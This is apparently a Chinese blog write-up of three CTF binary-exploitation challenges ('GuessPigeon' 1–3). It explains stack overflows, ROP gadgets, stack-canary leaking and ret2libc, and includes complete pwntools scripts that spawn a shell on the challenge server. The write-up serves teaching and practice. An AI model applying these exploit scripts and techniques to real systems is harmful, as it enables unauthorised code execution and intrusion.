初音ミクの消失

CNSS-PWN招新三部曲

字数统计: 1.7k阅读时长: 7 min
2019/09/14 Share

CNSS-PWN

GuessPigeon.7z

GuessPigeon

analyze

unsigned int __cdecl guess(int a1)
{
char nptr; // [esp+8h] [ebp-70h]
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
puts("Please input your guess:");
__isoc99_scanf("%s", &nptr);
if ( atoi(&nptr) == a1 )
{
puts("My Gooood!You guessed the pigeon number!!");
getshell();
}
else
{
printf("You are wrong!The pigeon's number is %d\n try again~", a1);
}
return __readgsdword(0x14u) ^ v3;
}

可见 scanf处没有限制字符串长度大小,可以通过该处进行栈溢出

a1是调用guess函数时传入的参数,存在栈里面

nptr为输入的字符串,也存在栈里面

可知进行栈溢出可以将a1和nptr覆盖成一样的形式,从而getshell

虽然这道题有canary,但是并没有起到作用

char nptr; // [esp+8h] [ebp-70h]

题外话:关于padding的长度,一定要用gdb调试后算出来!!

用ida眼睛看的十有八九都是错的!!

exp.py

from pwn import *

p = remote("132.232.34.26",8888)
p.recvuntil('input your token:')
p.sendline("GuessPigeon")

payload = '123' + '\x00'
payload += 'a' * 0x74
payload += p32(123)

p.recvuntil('Please input your guess:')
p.sendline(payload)
p.interactive()

GuessPigeon2

analyze

int guess()
{
int result; // eax
char buf; // [rsp+0h] [rbp-70h]

puts("Please input your guess:");
__isoc99_scanf("%s", &buf);
puts("You've been fooled.There are no pigenos here!\n Good bye~");
puts("Do you want to get hint? yes/no?");
read(0, &buf, 0x100uLL);
result = strcmp(&buf, "yes");
if ( !result )
result = printf("Do you know \"%s\"\n", s);
return result;
}

这次的ELF文件是64位的,传参方式为寄存器传参,这意味着我们需要用到ROP链来构造一段代码把参数传到寄存器里面去

rop

ROPgadget --binary GuessPigeon2 --only 'pop|ret' | grep 'rdi'

0x0000000000400933 : pop rdi ; ret

binsh

同时 字符串s刚好指向了 /bin/sh,利用system(s)可以getshell

查询了一下,system函数刚好存在于elf文件中,直接引用即可

0x400650

程序执行完guess之后,会跳到pop_rdi_ret的函数处,将rdi赋值为s的地址,接着调用system(),从而getshell

exp.py

from pwn import *

#p = process('./GuessPigeon2')
p = remote('132.232.34.26',8888)

pop_rdi_ret = 0x400933
system_addr = 0x400650
binsh_addr = 0x600E20

payload = 'a' * 0x78
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)


p.recvuntil('input your token:')
p.sendline('GuessPigeon2')

p.recvuntil("Please input your guess:")
p.sendline('a')

p.recvuntil("Do you want to get hint? yes/no?")
p.sendline(payload)
p.interactive()

GuessPigeon3

analyze

unsigned int guess()
{
char buf; // [esp+8h] [ebp-70h]
unsigned int v2; // [esp+6Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
memset(&buf, 0, 0x64u);
puts("You You have two chances. Please input your guess:");
read(0, &buf, 0x100u);
printf("You guessed the pigeon number is %s .\nI'm sorry, you guessed wrong.", &buf);
puts("Please input your guess again:");
read(0, &buf, 0x100u);
puts("You've been fooled.There are no pigenos here!\n Good bye~");
return __readgsdword(0x14u) ^ v2;
}

我们checksec一下

[*] '/home/mrh929/Desktop/cnss/GuessPigeon3/GuessPigeon3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序开启了Canary和栈不可执行,guess函数中有两个read函数,即有两个溢出点

第一个溢出点的后面紧跟着一个printf,推测可能是用来泄露canary用的

canary

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/

canary是一种防止栈溢出的方式,通过在执行函数之前生成一个随机的canary,可以防止在函数结束之前有人通过read, scanf等不安全的函数进行栈溢出攻击,程序结束时会stack_check_fail,一旦canary被改变,程序将会马上退出

canary的特点是最低位为0, eg: 0x49d8c100 ,本意是将printf截断,我们在用padding填充的时候可以sendline,即在最后一位填上一个’\n’,就可以做到将canary输出,当然最后要记得canary = out - ‘a’

libc

程序中没有给出system函数和/bin/sh字符串

但是给了一个libc文件,libc文件是一个动态链接库,程序通过读取这个动态链接库来执行它想要的函数

当然这个动态链接库的地址就不是固定的了,虽然我们静态分析的时候会得到一个静态的地址,但这个并不是动态链接库的最终地址,我们需要将程序运行之后某个libc函数的地址泄露出来,算出它与libc中的静态地址的偏移,从而得到libc中每个函数的真实地址

plt got

https://ctf-wiki.github.io/ctf-wiki/executable/elf/elf-structure-zh/#global-offset-table

plt的本质上是一个指向got表的指针,系统调用函数的时候会首先jmp plt,由plt进行push ,再jmp的操作,最终读取到got表,将eip指向函数的真实地址。

这个生成got表的动作是动态的,所以在我们没有调用某个函数时这个函数的got表将不存有任何地址信息。我们想要得到某个libc函数的真实地址,最好的方法是找准一个已经被系统执行的函数,查询它的got表,从而得到这个函数的真实地址。

这道题中puts和read函数都是被程序执行过的,我们随意选取一个函数

elf.got[‘puts’] 调出got表地址,利用write(三个参数)或者puts(一个参数)函数将其输出

相当于把guess函数的返回地址设置为write/puts

注意,这里调用write/puts函数的本质也是调用plt表,在汇编层面其实等价于jmp addr

而这些函数都是需要ret/ leave 的,所以相应的我们应当在 write_plt 后面先加入一个 ret_addr ,再push 参数

after that

同样的,注意canary 和 write_plt之间也有12个字节的padding,我第一次做这题的时候也是在padding上面卡了很久,一定要用gdb仔细调试才能得出padding长度!!

ret_addr可以设置为guess,因为guess函数有两个溢出点,可以继续栈溢出

在我们得到read的真实地址之后,我们就可以通过

read_addr - libc.symbols[‘read’]

来得出偏移offset了,现在我们就可以知道任何一个函数的真实地址了

再执行一遍guess,同样的要获取canary并且构造payload。

最后压入/bin/sh参数,执行system()

little trick

import pwnlib
pwnlib.gdb.attach(process)

可以对pwntools的过程进行调试

exp.py

import pwnlib
from pwn import *

#p = process('./GuessPigeon3')

p = remote('132.232.34.26',8888)
p.recvuntil('token:')
p.sendline('GuessPigeon3')


elf = ELF('./GuessPigeon3')
libc = ELF('libc.so.6')



ret_addr = elf.symbols['guess']
write_got = elf.got['write']
write_plt = elf.plt['write']
puts_plt = elf.plt['puts']

payload1 = 'a' *100
p.recvuntil('Please input your guess:')
p.sendline(payload1)
p.recvuntil(payload1)
canary = u32(p.recv(4)) - 0xa #get canary value

print "canary = " + str(hex(canary))




payload2 = 'b'*100 + p32(canary) + 'b'* 12
payload2 += p32(puts_plt) + p32(ret_addr) + p32(write_got)

p.recvuntil("your guess again:")
p.send(payload2)



p.recvuntil('Good bye~\n')
write_addr = u32(p.recv(4))
print "libc_read_addr = " + hex(write_addr)

# return to guess()

payload3 = 'c' * 100
p.recvuntil('Please input your guess:')
p.sendline(payload3)
p.recvuntil(payload3)
canary = u32(p.recv(4)) - 0xa #another canary
print "canary' = " + str(hex(canary))


libc_write = libc.symbols['write']
libc_system = libc.symbols['system']
libc_binsh = libc.search('/bin/sh').next()
offset = write_addr - libc_write #offset between real_addr and libc_addr
system_addr = offset + libc_system
binsh_addr = offset + libc_binsh

payload4 = 'd'*100 + p32(canary)
payload4 += 'b'*12
payload4 += p32(system_addr) + p32(ret_addr) + p32(binsh_addr)


p.recvuntil('again:')
p.sendline(payload4)
p.interactive()
CATALOG
  1. 1. CNSS-PWN
    1. 1.1. GuessPigeon
      1. 1.1.1. analyze
      2. 1.1.2. exp.py
    2. 1.2. GuessPigeon2
      1. 1.2.1. analyze
        1. 1.2.1.1. rop
        2. 1.2.1.2. binsh
      2. 1.2.2. exp.py
    3. 1.3. GuessPigeon3
      1. 1.3.1. analyze
        1. 1.3.1.1. canary
        2. 1.3.1.2. libc
        3. 1.3.1.3. plt got
        4. 1.3.1.4. after that
        5. 1.3.1.5. little trick
      2. 1.3.2. exp.py